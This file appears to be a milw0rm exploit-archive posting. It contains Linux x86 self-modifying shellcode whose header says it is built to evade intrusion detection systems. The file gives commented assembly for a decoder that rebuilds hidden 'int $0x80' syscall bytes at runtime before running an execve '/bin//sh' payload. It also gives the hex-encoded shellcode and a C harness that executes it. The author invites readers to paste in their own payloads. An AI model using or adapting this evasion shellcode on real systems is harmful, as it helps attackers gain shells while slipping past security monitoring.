477bcbdcc0
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72 lines
No EOL
1.9 KiB
C
Executable file
72 lines
No EOL
1.9 KiB
C
Executable file
/*
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_ __ __ ___ __
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| |/ /__ ____ ____ / |/ /_ __/ /_____ _
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| / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/
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/ / __/ / / / /_/ / / / / /_/ / /_/ /_/ /
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/_/|_\___/_/ /_/\____/_/ /_/\__,_/\__/\__,_/
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xenomuta\x40phreaker\x2enet
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http://xenomuta.tuxfamily.org/ - Methylxantina 256mg
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Description:
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linux/x86 Self-modifying ShellCode for IDS evasion
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creates int $0x80 syscalls on runtime.
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OS: Linux
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Arch: x86
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Length: 64 bytes ( 35 without /bin/sh payload )
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Author: XenoMuta
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hola at:
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str0k3, garay, fr1t0l4y, emra.
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- God bless you all -
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=== SOURCE CODE ====
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.globl _start
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_start:
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jmp _findOut
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_WhereAmI:
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pop %edx // Save our payload's address g20
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mov %edx, %esi // and save it 4 later
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_loopMakeInt80s:
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mov (%edx), %eax
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cmpw $0x7dca, %ax // Find this guy ( 0x7dca ) and
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jne _no
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addw $0x303, %ax // 0x7dca + 0x303 == 0x80cd ( int $0x80 )
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mov %eax, (%edx)
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_no:
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incb %dl
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cmp $0x41414141, %eax // Use 'AAAA' as end Marker.
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jne _loopMakeInt80s
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jmp *%esi // Jump to our converted code when done
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_findOut:
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call _WhereAmI
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_payload: // Paste your shell code here and then replace
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xor %edx, %edx // "\xcd\x80" (int $0x80) for .ascii "\xca7d"
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push $0xb // and end with .ascii "AAAA" as end marker
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pop %eax
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cltd
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push %edx
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push $0x68732f2f
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push $0x6e69622f
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mov %esp, %ebx
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push %edx
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push %ebx
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mov %esp,%ecx
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.ascii "\xca\x7d" // + 0x303 = 0xcd80 (int $0x80)
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.ascii "AAAA"
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=== SOURCE CODE ====
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*/
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char shellcode[] = "\xeb\x1c\x5a\x89\xd6\x8b\x02\x66\x3d\xca\x7d\x75\x06\x66\x05\x03\x03\x89\x02\xfe\xc2\x3d\x41\x41\x41\x41\x75\xe9\xff\xe6\xe8\xdf\xff\xff\xff\x31\xd2\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xca\x7d\x41\x41\x41\x41";
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int main ()
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{
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printf("Length: %d bytes\n", strlen(shellcode));
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int (*sc)() = (int (*)())shellcode;
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sc();
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return 0;
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}
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// milw0rm.com [2009-09-15]
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